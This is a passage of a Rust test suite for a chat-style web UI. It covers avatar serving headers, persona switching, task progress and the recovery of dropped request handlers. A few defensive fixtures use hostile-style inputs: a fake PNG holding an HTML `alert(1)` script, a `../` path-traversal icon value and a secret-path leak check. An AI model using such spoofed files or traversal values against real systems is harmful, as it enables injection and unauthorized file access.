14195        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14196        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14197        assert_eq!(res.status(), StatusCode::OK);
14198        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14199        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14200        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14201        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14202        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14203            .await
14204            .unwrap();
14205        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14206        assert_ne!(
14207            persona_icon::operator_svg(),
14208            persona_icon::builtin_svg("default")
14209        );
14210    }
14211
14212    #[tokio::test]
14213    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14214        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14215        for p in [
14216            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14217        ] {
14218            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14219            assert_eq!(status, StatusCode::OK, "{p}");
14220            assert_eq!(ct, "image/svg+xml", "{p}");
14221            assert!(nosniff && csp, "{p}");
14222            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14223        }
14224        // No `persona` means the conversation's own; unknown ones fall back.
14225        let own = avatar(&ui, &id, None, false).await;
14226        let default = avatar(&ui, &id, Some("default"), false).await;
14227        assert_eq!(own.4, default.4);
14228        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14229        assert_eq!(unknown.1, "image/svg+xml");
14230    }
14231
14232    #[tokio::test]
14233    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14234        let dir = TempDir::new().expect("icons");
14235        let good = dir.path().join("good.png");
14236        std::fs::write(&good, tiny_png()).unwrap();
14237        let spoof = dir.path().join("spoof.png");
14238        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14239        let big = dir.path().join("big.png");
14240        let mut bytes = tiny_png();
14241        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14242        std::fs::write(&big, bytes).unwrap();
14243        let missing = dir.path().join("missing.png");
14244        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14245        let extra = format!(
14246            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14247             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14248             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14249             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14250             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14251             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14252            uri(&good),
14253            uri(&spoof),
14254            uri(&big),
14255            uri(&missing),
14256        );
14257        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14258
14259        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14260        assert_eq!(
14261            (status, ct.as_str(), nosniff),
14262            (StatusCode::OK, "image/png", true)
14263        );
14264        assert_eq!(body, tiny_png());
14265        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14266        assert_eq!(ct, "image/png", "data URI");
14267
14268        for p in ["misato", "asuka", "shinji", "magi"] {
14269            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14270            assert_eq!(
14271                (status, ct.as_str(), csp),
14272                (StatusCode::OK, "image/svg+xml", true),
14273                "{p}"
14274            );
14275            assert!(body.starts_with(b"<svg"), "{p}");
14276        }
14277        // The page's own retry skips the icon.
14278        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14279        assert_eq!(ct, "image/svg+xml");
14280    }
14281
14282    #[tokio::test]
14283    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14284        let oversized = format!(
14285            "data:image/png;base64,{}",
14286            "A".repeat(persona_icon::ICON_MAX_BYTES)
14287        );
14288        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14289            let extra = format!(
14290                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14291            );
14292            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14293            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14294                .await
14295                .expect("detail with invalid icon");
14296            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14297            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14298            assert_eq!(status, StatusCode::OK);
14299            assert_eq!(ct, "image/svg+xml");
14300            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14301            let Json(view) = talk_persona(
14302                State(Arc::clone(&ui)),
14303                Path(id.clone()),
14304                Json(TalkPersona {
14305                    persona: "custom".into(),
14306                }),
14307            )
14308            .await
14309            .expect("persona switch with invalid icon");
14310            assert_eq!(view.talk.persona, "custom");
14311            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14312        }
14313    }
14314
14315    #[tokio::test]
14316    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14317        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14318        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14319        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14320        assert_eq!(
14321            (status, ct.as_str(), nosniff, csp),
14322            (StatusCode::OK, "image/svg+xml", true, true)
14323        );
14324    }
14325
14326    #[tokio::test]
14327    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14328        let (_t, _h, ui, id, _repo) =
14329            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14330        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14331            .await
14332            .expect("detail");
14333        let json = serde_json::to_string(&detail).unwrap();
14334        assert!(
14335            !json.contains("secret"),
14336            "the icon setting must not leak: {json}"
14337        );
14338        assert!(
14339            detail
14340                .view
14341                .persona_avatar
14342                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14343        );
14344        assert_eq!(
14345            detail.view.operator_avatar,
14346            format!(
14347                "/avatars/operator.svg?v={}",
14348                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14349            )
14350        );
14351        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14352        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14353        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14354        assert!(rei.avatar.contains("persona=rei&v="));
14355        assert_ne!(
14356            rei.avatar.split("&v=").nth(1),
14357            plain.avatar.split("&v=").nth(1)
14358        );
14359    }
14360
14361    #[tokio::test]
14362    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14363        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14364        let cfg = config_for(&repo).await.unwrap();
14365        for arrived in [false, true] {
14366            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14367            let observed = ui.queued_generation(&id);
14368            let talk = ui.talks.get(&id).unwrap();
14369            if arrived {
14370                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14371            }
14372            let mut settling = std::pin::pin!(settle_settings_turn(
14373                talk,
14374                ui.talks.clone(),
14375                cfg.clone(),
14376                id.clone(),
14377                turn,
14378                observed
14379            ));
14380            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14381            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14382            assert_eq!(first.is_pending(), arrived);
14383            if arrived {
14384                assert!(!settling.await);
14385            }
14386            assert!(!ui.is_thinking(&id));
14387        }
14388    }
14389
14390    #[tokio::test]
14391    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14392        let tmp = TempDir::new().expect("tempdir");
14393        let repo = tmp.path().join("repo");
14394        std::fs::create_dir_all(&repo).expect("repo dir");
14395        std::fs::write(
14396            repo.join("magi.toml"),
14397            format!(
14398                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14399            ),
14400        )
14401        .expect("write magi.toml");
14402        let home = TempDir::new().expect("temp home");
14403        let talks = Talks::at(home.path().join("talks"));
14404        let ui = Arc::new(
14405            Ui::new(
14406                Queue::at(home.path().join("queue")),
14407                Questions::at(home.path().join("questions")),
14408                talks.clone(),
14409                home.path().join("runs"),
14410                home.path().to_path_buf(),
14411                repo.clone(),
14412            )
14413            .with_worktrees_root(home.path().join("wt")),
14414        );
14415        let cfg = config_for(&repo).await.expect("discover config");
14416        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14417        let id = talk.id.clone();
14418        let call = |persona: &str| {
14419            talk_persona(
14420                State(Arc::clone(&ui)),
14421                Path(id.clone()),
14422                Json(TalkPersona {
14423                    persona: persona.to_owned(),
14424                }),
14425            )
14426        };
14427
14428        let unknown = call("nobody").await.expect_err("unknown persona");
14429        assert_eq!(
14430            unknown.status,
14431            StatusCode::BAD_REQUEST,
14432            "{}",
14433            unknown.message
14434        );
14435
14436        {
14437            // Nothing refused so far took a claim, so the guard is free to take
14438            // and holding it is what makes the talk busy.
14439            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14440            let busy = call("rei").await.expect_err("busy talk");
14441            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14442            assert!(
14443                busy.message.contains("a talk turn is running"),
14444                "{}",
14445                busy.message
14446            );
14447            drop(guard);
14448        }
14449        assert_eq!(talks.get(&id).expect("reload").persona, "");
14450
14451        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14452        assert_eq!(view.talk.persona, "gendo");
14453        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14454        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14455        // No intervening I/O or sleep may be needed before another change.
14456        for chosen in ["default", "gendo", "rei", "gendo"] {
14457            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14458            assert!(!view.thinking);
14459            assert!(!ui.is_thinking(&id));
14460        }
14461
14462        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14463            .await
14464            .expect("detail");
14465        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14466        assert_eq!(ids.first(), Some(&"default"));
14467        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14468
14469        let Json(view) = call("default").await.expect("back to default");
14470        assert_eq!(view.talk.persona, "");
14471
14472        let mut closed = talks.get(&id).expect("reload");
14473        talk::close(&mut closed, &talks).expect("close");
14474        let refused = call("rei").await.expect_err("closed talk");
14475        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14476        assert!(
14477            refused.message.contains("takes no more turns"),
14478            "{}",
14479            refused.message
14480        );
14481    }
14482
14483    #[tokio::test]
14484    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14485        let f = Fixture::start().await;
14486        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14487        let queue = f.queue();
14488        let mut mine = Task::new(
14489            "rename the loader".to_owned(),
14490            "rename the loader".to_owned(),
14491            PathBuf::from("/repo/magi"),
14492            Source::Agent {
14493                run: talk_id.clone(),
14494                node: "chat".to_owned(),
14495            },
14496        );
14497        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14498        assert_eq!(empty["task_progress"]["state"], "none");
14499        assert_eq!(empty["task_progress"]["total"], 0);
14500        queue.put(&mut mine).expect("file the task");
14501        let mut theirs = Task::new(
14502            "unrelated".to_owned(),
14503            "unrelated".to_owned(),
14504            PathBuf::from("/repo/magi"),
14505            Source::Human,
14506        );
14507        // A later task linked through origin_chat alone is outside this list.
14508        theirs.origin_chat = Some(talk_id.clone());
14509        queue.put(&mut theirs).expect("file the task");
14510
14511        let res = f.get(&format!("/api/talks/{talk_id}")).await;
14512        assert_eq!(res.status, 200, "{}", res.body);
14513        let body = res.json();
14514        assert_eq!(
14515            body["status"], "open",
14516            "filing a task does not close a talk"
14517        );
14518        let tasks = body["tasks"].as_array().expect("tasks array");
14519        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14520        assert_eq!(tasks[0]["id"], mine.id);
14521        for status in [
14522            TaskStatus::Queued,
14523            TaskStatus::Running,
14524            TaskStatus::Held,
14525            TaskStatus::Failed,
14526            TaskStatus::Blocked,
14527            TaskStatus::Parked,
14528            TaskStatus::Done,
14529            TaskStatus::Queued,
14530        ] {
14531            mine.status = status;
14532            queue.put(&mut mine).expect("update status");
14533            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14534            let progress = &detail["task_progress"];
14535            assert_eq!(progress["total"], 1);
14536            assert_eq!(progress["counts"][status.as_str()], 1);
14537            assert_eq!(detail["tasks"][0]["status"], status.as_str());
14538            assert_eq!(detail["status"], "open", "completion never closes the chat");
14539            if status == TaskStatus::Done {
14540                assert_eq!(progress["state"], "complete");
14541                assert_eq!(progress["done"], 1);
14542                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14543            } else {
14544                assert_eq!(progress["state"], "incomplete");
14545                assert_eq!(progress["done"], 0);
14546                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14547            }
14548        }
14549    }
14550
14551    #[test]
14552    fn talk_task_progress_counts_mixed_statuses() {
14553        let mut tasks: Vec<_> = [
14554            TaskStatus::Queued,
14555            TaskStatus::Running,
14556            TaskStatus::Held,
14557            TaskStatus::Failed,
14558            TaskStatus::Blocked,
14559            TaskStatus::Parked,
14560            TaskStatus::Done,
14561        ]
14562        .into_iter()
14563        .map(|status| {
14564            let mut task = Task::new(
14565                "task".into(),
14566                "task".into(),
14567                PathBuf::from("/repo"),
14568                Source::Human,
14569            );
14570            task.status = status;
14571            task
14572        })
14573        .collect();
14574        let progress = talk_task_progress(&tasks);
14575        assert_eq!(progress.state, "incomplete");
14576        assert_eq!(progress.total, 7);
14577        assert_eq!(progress.done, 1);
14578        assert_eq!(progress.unfinished_ids.len(), 6);
14579        assert!(progress.counts.values().all(|count| *count == 1));
14580        assert_eq!(
14581            progress.unfinished_ids,
14582            tasks[..6]
14583                .iter()
14584                .map(|task| task.id.clone())
14585                .collect::<Vec<_>>()
14586        );
14587
14588        for task in &mut tasks {
14589            task.status = TaskStatus::Done;
14590        }
14591        let complete = talk_task_progress(&tasks);
14592        assert_eq!(complete.state, "complete");
14593        assert_eq!(complete.done, 7);
14594        assert!(complete.unfinished_ids.is_empty());
14595        tasks[0].status = TaskStatus::Queued;
14596        let requeued = talk_task_progress(&tasks);
14597        assert_eq!(requeued.state, "incomplete");
14598        assert_eq!(requeued.done, 6);
14599        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14600
14601        let empty = talk_task_progress(&[]);
14602        assert_eq!(empty.state, "none");
14603        assert_eq!(empty.total, 0);
14604        assert_eq!(empty.done, 0);
14605        assert!(empty.unfinished_ids.is_empty());
14606        assert!(empty.counts.values().all(|count| *count == 0));
14607    }
14608
14609    #[tokio::test]
14610    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14611        let (_tmp, _repo, f) = talk_fixture().await;
14612        let id = f.post("/api/talks", None).await.json()["id"]
14613            .as_str()
14614            .expect("id")
14615            .to_owned();
14616
14617        let res = f
14618            .post(
14619                &format!("/api/talks/{id}/say"),
14620                Some(r#"{"text":"what does the queue module do?"}"#),
14621            )
14622            .await;
14623        assert_eq!(res.status, 202, "{}", res.body);
14624        let queued = res.json();
14625        let turns = queued["turns"].as_array().expect("turns array");
14626        assert_eq!(
14627            turns.len(),
14628            1,
14629            "the answer reflects only what is on disk the instant it is sent, \
14630             before the agent's turn - which can run for the whole of \
14631             `[graph] timeout_talk` - has a chance to land: {queued}"
14632        );
14633        assert_eq!(turns[0]["who"], "operator");
14634        assert_eq!(turns[0]["body"], "what does the queue module do?");
14635        assert_eq!(
14636            queued["thinking"], true,
14637            "the accepted response exposes the background turn claim: {queued}"
14638        );
14639
14640        let mut turns_after = 1;
14641        for _ in 0..SETTLE_STEPS {
14642            let detail = f.get(&format!("/api/talks/{id}")).await.json();
14643            turns_after = detail["turns"].as_array().expect("turns array").len();
14644            if turns_after == 2 {
14645                break;
14646            }
14647            tokio::time::sleep(Duration::from_millis(10)).await;
14648        }
14649        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14650    }
14651
14652    /// A phone that reloads mid-request drops `talk_say`'s whole handler
14653    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
14654    /// guards against: `talk::record` used to return, and only *then* did the
14655    /// handler make a second, separate disk round trip before spawning the
14656    /// agent's reply task. A future dropped in that gap left a message
14657    /// recorded on disk with no reply task ever started and no way back short
14658    /// of a fresh message - and the gap was not even the whole story: *any*
14659    /// `.await` in this handler, including the very first one, is a point
14660    /// where a drop can land after the awaited work already finished but
14661    /// before this handler's own code resumes to act on it. `record` now
14662    /// runs inside the task `tokio::spawn` hands to the runtime before this
14663    /// handler ever awaits anything of its own again, so there is nothing
14664    /// left in *this* handler's future for a disconnect to interrupt between
14665    /// the message landing on disk and the reply task starting.
14666    ///
14667    /// A real socket disconnect cannot be relied on to land in the old gap
14668    /// from a test - over loopback, `talk_say` typically finishes before the
14669    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
14670    /// same failure mode directly: it drops the task's future at whatever
14671    /// point it has reached, exactly what axum does to the handler future,
14672    /// without needing to win a real network race. Sweeping the delay before
14673    /// aborting samples a range of points the task's execution can be at,
14674    /// including where the old code sat waiting on its second disk round
14675    /// trip - confirmed by reverting this fix locally and watching this same
14676    /// sweep catch a talk stuck with the operator's turn recorded and no
14677    /// reply ever following.
14678    #[tokio::test]
14679    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14680        let tmp = TempDir::new().expect("tempdir");
14681        let repo = tmp.path().join("repo");
14682        std::fs::create_dir_all(&repo).expect("repo dir");
14683        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14684        let home = TempDir::new().expect("temp home");
14685        let talks = Talks::at(home.path().join("talks"));
14686        let ui = Arc::new(
14687            Ui::new(
14688                Queue::at(home.path().join("queue")),
14689                Questions::at(home.path().join("questions")),
14690                talks.clone(),
14691                home.path().join("runs"),
14692                home.path().to_path_buf(),
14693                repo.clone(),
14694            )
14695            .with_worktrees_root(home.path().join("wt")),
14696        );
14697        let cfg = config_for(&repo).await.expect("discover config");
14698
14699        for delay in 0..40u32 {
14700            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14701            let id = talk.id.clone();
14702
14703            let handler = tokio::spawn(talk_say(
14704                State(Arc::clone(&ui)),
14705                Path(id.clone()),
14706                Ok(Json(NewTalkTurn {
14707                    reply_to: None,
14708                    text: "what does the queue module do?".to_owned(),
14709                    attachments: Vec::new(),
14710                })),
14711            ));
14712            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14713            handler.abort();
14714            // Wait out the abort so the next iteration's talk does not race
14715            // this one's still-unwinding turn guard.
14716            let _ = handler.await;
14717
14718            let mut turns = 0;
14719            for _ in 0..SETTLE_STEPS {
14720                if let Ok(fresh) = talks.get(&id) {
14721                    turns = fresh.turns.len();
14722                    if turns != 1 {
14723                        break;
14724                    }
14725                }
14726                tokio::time::sleep(Duration::from_millis(10)).await;
14727            }
14728            assert_ne!(
14729                turns, 1,
14730                "delay {delay}: talk {id} recorded the operator's turn but \
14731                 the agent never answered - the reply task was never \
14732                 started after the handler future was dropped"
14733            );
14734        }
14735    }
14736
14737    /// The same drop, landing on `talk_say`'s other durable write.
14738    ///
14739    /// When a turn is already running, the busy branch persists the
14740    /// operator's text as a queued draft and then reclaims the turn slot if
14741    /// the holder gave it up in the meantime - and whoever reclaims owes that
14742    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
14743    /// which finishes whether or not the future awaiting it is still there,
14744    /// so a handler dropped at that `.await` used to leave the draft written
14745    /// to disk with the reclaimed guard dropped unread and no drainer ever
14746    /// started: the message sat queued until some unrelated later `say`
14747    /// happened to pick it up.
14748    ///
14749    /// This used to drive the handler future by hand, polling it a fixed
14750    /// number of times to park it at the `.await` where it asks for the turn
14751    /// and finds it busy, before the reclaim's slot-free case could be set up
14752    /// underneath it. That assumed a fixed number of polls lands at a fixed
14753    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
14754    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
14755    /// poll, so any number of this handler's several `blocking` awaits can
14756    /// collapse into one poll under load, landing the drive somewhere other
14757    /// than intended - including, occasionally, straight past the handler's
14758    /// own completion, which made polling it again panic with "async fn
14759    /// resumed after completion". No poll count fixes that; the handler's
14760    /// progress simply is not something a caller outside it can observe by
14761    /// counting.
14762    ///
14763    /// [`BusyQueueGate`] replaces the poll count with a real stop point
14764    /// inside the write itself, so the interleaving under test is pinned by
14765    /// an event instead of a guess: the gate fires only once the handler has
14766    /// actually decided `Busy` and is about to persist the draft, and it
14767    /// blocks that write until the test lets it through. Between those two
14768    /// moments the test drains the turn the handler found busy - through
14769    /// `drain_loop`, the protocol's other half - and then aborts the handler
14770    /// task outright, the same way axum drops a disconnected request's
14771    /// future. The write, and the reclaim it may do, run to completion
14772    /// regardless: they live in the `tokio::spawn` task the busy branch hands
14773    /// to the runtime before ever touching the gate, wholly independent of
14774    /// whether the handler that started it is still around - which is what
14775    /// this test is actually checking. A drainer other than that reclaim
14776    /// cannot exist here: the test's own `drain_loop` call happens before the
14777    /// gate opens, so it runs while the queue is still empty and hands the
14778    /// turn straight back rather than draining anything, closing off the
14779    /// possibility of the final assertion passing without the reclaim ever
14780    /// having done its job.
14781    #[tokio::test]
14782    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14783        let tmp = TempDir::new().expect("tempdir");
14784        let repo = tmp.path().join("repo");
14785        std::fs::create_dir_all(&repo).expect("repo dir");
14786        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14787        let home = TempDir::new().expect("temp home");
14788        let talks = Talks::at(home.path().join("talks"));
14789        let ui = Arc::new(
14790            Ui::new(
14791                Queue::at(home.path().join("queue")),
14792                Questions::at(home.path().join("questions")),
14793                talks.clone(),
14794                home.path().join("runs"),
14795                home.path().to_path_buf(),
14796                repo.clone(),
14797            )
14798            .with_worktrees_root(home.path().join("wt")),
14799        );
14800        let cfg = config_for(&repo).await.expect("discover config");
14801
14802        for attempt in 0..3u32 {
14803            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14804            let id = talk.id.clone();
14805            // A turn is already running, which is what sends `talk_say` down
14806            // the busy branch.
14807            let turn_guard = ui
14808                .begin_talk_turn(&id)
14809                .expect("claim the turn")
14810                .expect("a fresh talk owes nobody a turn");
14811
14812            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14813            let (release_tx, release_rx) = std::sync::mpsc::channel();
14814            ui.set_busy_queue_gate(BusyQueueGate {
14815                reached: reached_tx,
14816                release: release_rx,
14817            });
14818
14819            let handler = tokio::spawn(talk_say(
14820                State(Arc::clone(&ui)),
14821                Path(id.clone()),
14822                Ok(Json(NewTalkTurn {
14823                    reply_to: None,
14824                    text: "what does the queue module do?".to_owned(),
14825                    attachments: Vec::new(),
14826                })),
14827            ));
14828
14829            // Wait for the busy branch to actually reach the gate, rather
14830            // than for any fixed number of polls of anything - a bounded
14831            // wait rather than a bare `.await` so a regression that never
14832            // reaches the gate fails the test instead of hanging it.
14833            tokio::time::timeout(Duration::from_secs(5), reached_rx)
14834                .await
14835                .unwrap_or_else(|_| {
14836                    panic!(
14837                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14838                    )
14839                })
14840                .expect("the busy branch dropped the gate without using it");
14841
14842            // The turn that was running now finishes and gives the slot up
14843            // the way a real one does - through `drain_loop`, which finds
14844            // nothing queued yet (the write is still held at the gate) and
14845            // releases. The handler, parked inside `spawn_blocking` on the
14846            // other side of the gate, still believes the talk is busy -
14847            // exactly the interleaving the reclaim exists for.
14848            let running = talks.get(&id).expect("reload talk");
14849            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14850
14851            // Drop the handler future now, the way a reloading phone drops
14852            // it: suspended waiting on the busy branch's answer, having
14853            // itself made no more progress since it handed the write off.
14854            handler.abort();
14855            let _ = handler.await;
14856
14857            // Only now let the gated write proceed. It persists the draft
14858            // and reclaims the now-free slot from inside the task the busy
14859            // branch already spawned - unaffected by the handler's abort
14860            // above, since that task was independent of the handler's own
14861            // future from the moment it was spawned.
14862            let _ = release_tx.send(());
14863
14864            // A settled talk: the draft drained into an operator turn and
14865            // answered.
14866            let mut fresh = talks.get(&id).expect("reload talk");
14867            for _ in 0..SETTLE_STEPS {
14868                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14869                    break;
14870                }
14871                tokio::time::sleep(Duration::from_millis(10)).await;
14872                fresh = talks.get(&id).expect("reload talk");
14873            }
14874            assert!(
14875                fresh.pending.is_empty() && fresh.turns.len() == 2,
14876                "attempt {attempt}: talk {id} left the operator's text queued \
14877                 with no drainer - the reclaimed turn was dropped along with \
14878                 the handler future (pending {:?}, {} turns)",
14879                fresh.pending,
14880                fresh.turns.len()
14881            );
14882        }
14883    }
14884
14885    #[tokio::test]
14886    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14887        let (_tmp, _repo, f) = talk_fixture().await;
14888        let id = f.post("/api/talks", None).await.json()["id"]
14889            .as_str()
14890            .expect("id")
14891            .to_owned();
14892        let store = f.talks();
14893        let mut recovered = store.get(&id).expect("opened talk");
14894        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14895            .expect("persist pending draft without a live turn");
14896
14897        let edited = f
14898            .post(
14899                &format!("/api/talks/{id}/pending/edit"),
14900                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14901            )
14902            .await;
14903        assert_eq!(edited.status, 200, "{}", edited.body);
14904        assert!(edited.json()["thinking"].as_bool().unwrap());
14905
14906        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14907        for _ in 0..SETTLE_STEPS {
14908            if detail["turns"].as_array().expect("turns").len() == 2 {
14909                break;
14910            }
14911            tokio::time::sleep(Duration::from_millis(10)).await;
14912            detail = f.get(&format!("/api/talks/{id}")).await.json();
14913        }
14914        let turns = detail["turns"].as_array().expect("turns");
14915        assert_eq!(
14916            turns.len(),
14917            2,
14918            "the recovered draft must run once: {detail}"
14919        );
14920        assert_eq!(turns[0]["body"], "corrected");
14921        assert_eq!(detail["pending"], "");
14922    }
14923
14924    #[tokio::test]
14925    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
14926        let tmp = TempDir::new().expect("tempdir");
14927        let repo = tmp.path().join("repo");
14928        std::fs::create_dir_all(&repo).expect("repo dir");
14929        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14930        let f = Fixture::with_repo(repo).await;
14931        let id = f.post("/api/talks", None).await.json()["id"]
14932            .as_str()
14933            .expect("id")
14934            .to_owned();
14935        let store = f.talks();
14936        let mut recovered = store.get(&id).expect("opened talk");
14937        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14938            .expect("persist pending draft without a live turn");
14939
14940        let refused = f
14941            .post(
14942                &format!("/api/talks/{id}/say"),
14943                Some(r#"{"text":"new message"}"#),
14944            )
14945            .await;
14946        assert_eq!(refused.status, 409, "{}", refused.body);
14947        assert!(refused.body.contains("resume"), "{}", refused.body);
14948        let saved = store.get(&id).expect("draft remains after refusal");
14949        assert!(saved.turns.is_empty());
14950        assert_eq!(saved.pending, "saved before restart");
14951
14952        let say_path = format!("/api/talks/{id}/say");
14953        let (first, second) = tokio::join!(
14954            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
14955            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
14956        );
14957        assert_eq!(first.status, 409, "{}", first.body);
14958        assert_eq!(second.status, 409, "{}", second.body);
14959        let saved = store
14960            .get(&id)
14961            .expect("draft remains after concurrent refusals");
14962        assert!(saved.turns.is_empty());
14963        assert_eq!(saved.pending, "saved before restart");
14964
14965        let resumed = f
14966            .post(&format!("/api/talks/{id}/pending/resume"), None)
14967            .await;
14968        assert_eq!(resumed.status, 202, "{}", resumed.body);
14969        let duplicate = f
14970            .post(&format!("/api/talks/{id}/pending/resume"), None)
14971            .await;
14972        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
14973
14974        for _ in 0..SETTLE_STEPS {
14975            if store.get(&id).expect("talk").turns.len() == 2 {
14976                break;
14977            }
14978            tokio::time::sleep(Duration::from_millis(10)).await;
14979        }
14980        let finished = store.get(&id).expect("finished talk");
14981        assert_eq!(finished.turns.len(), 2, "{finished:?}");
14982        assert_eq!(finished.turns[0].body, "saved before restart");
14983        assert!(finished.pending.is_empty());
14984    }
14985
14986    #[tokio::test]
14987    async fn an_image_only_recovered_draft_resumes_without_text() {
14988        let (_tmp, _repo, f) = talk_fixture().await;
14989        let id = f.post("/api/talks", None).await.json()["id"]
14990            .as_str()
14991            .expect("id")
14992            .to_owned();
14993        let uploaded = f
14994            .post_bytes(
14995                &format!("/api/talks/{id}/attachments"),
14996                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
14997                PNG_BYTES,
14998            )
14999            .await;
